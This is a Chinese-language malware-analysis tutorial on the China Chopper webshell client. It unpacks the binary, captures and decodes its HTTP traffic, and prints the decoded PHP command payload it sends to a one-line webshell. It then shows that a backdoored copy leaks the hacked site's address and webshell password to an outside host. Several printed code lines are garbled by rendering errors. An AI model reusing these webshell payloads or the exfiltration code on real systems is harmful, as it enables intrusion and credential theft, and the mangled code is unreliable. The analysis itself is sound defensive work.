作为一款黑客神器,怎么可能裸奔呢?
我们通过peid等工具可以看出来加壳了
通过winehx,也可以看到菜刀经过upx加壳处理
这时候再用peid查看,可以看到已经没有壳了,并且可以看出是vc++6.0编写
既然已经脱壳了,那我们来把它的可见字符串打印出来看看
由于字符串太多,我们可以有目的性地查找字符串如http
再比如说关键字chopper
。
写一个php一句话放在我们网站的根目录下,如1.php,内容为
然后打开wireshark准备监听数据包,同时使用菜刀进行连接
监听到的数据包如下:
客户端在80端口上,以HTTP POST方式通讯
我们可以追踪tcp流来查看整个tcp数据交互过程
上面红色部分为攻击机POST提交控制命令的内容,下面蓝色部分为靶机返回结果
我们可以看到一共有z0,z1,z2三个参数,我们分别解码。
解码的顺序依次为url解码,然后再base64解码,得到明文:
可以看到红色部分的代码经过base64以及url的编码,我们解码看看
考虑到环境没有联网,我们可以使用butp的解码模块
明文如下:
z0=@ini_set(“display_errors”,“0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");; p = b a s e 6 4 d e c o d e ( p=base64_decode( p=base64decode(_POST[“z1”]); s = b a s e 6 4 d e c o d e ( s=base64_decode( s=base64decode(_POST[“z2”]); d = d i r n a m e ( d=dirname( d=dirname(_SERVER[“SCRIPT_FILENAME”]); c = s u b s t r ( c=substr( c=substr(d,0,1)=="/"?"-c '{KaTeX parse error: Expected 'EOF', got '}' at position 2: s}̲'":"/c {s}";KaTeX parse error: Expected '}', got 'EOF' at end of input: r="{p} {KaTeX parse error: Expected 'EOF', got '}' at position 2: c}̲";@system(r." 2>&1");;echo("|<-");die();
z1=cmd
z2=cd /d “D:\phpstudy\PHPTutorial\WWW”&whoami&echo [S]&cd&echo [E]
z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示
我们输入其他的命令的话,当然也是可以通过同样的流程进行分析
以上就是中国菜刀的流量通信的特征
了解了正常的菜刀是如何工作的,接下来我们看看被植入恶意后门的菜刀是怎样的。
我们这次使用的抓包软件为WSockExpert
打开后我们点击左上角的文件夹的图标,选择caidao.exe,点击open即可
接下来连接菜刀
菜刀连接以后我们可以随意操作一下(比如点击、切换文件夹等,以此来产生通信流量方便我们后续的分析)
回到我们的winsock expert
我们将下面的字符串解码
先URL解码
再base64解码
我们知道,在分析前一个菜刀时,一次URL解码,一次base64解码就可以了,但是,在分析这个菜刀的时候我们注意到,还是存在密文。
那么我们接着解码
明文是这样的:
if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …hack.php?Url='._SERVER[‘HTTP_HOST’].KaTeX parse error: Expected 'EOF', got '&' at position 25: …REQUEST_URI'].'&̲Pass='.key(_POST));}
这里的http://www.7jyewu.cn/hack.php就是这个菜刀的后门地址。
HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码
这段代码的大概意思就是,会将我们的拿到shell的网站的地址,密码等都会通过后门传送给这个网站的所有者。
这样,我们就分析出了这个菜刀是存在后门的。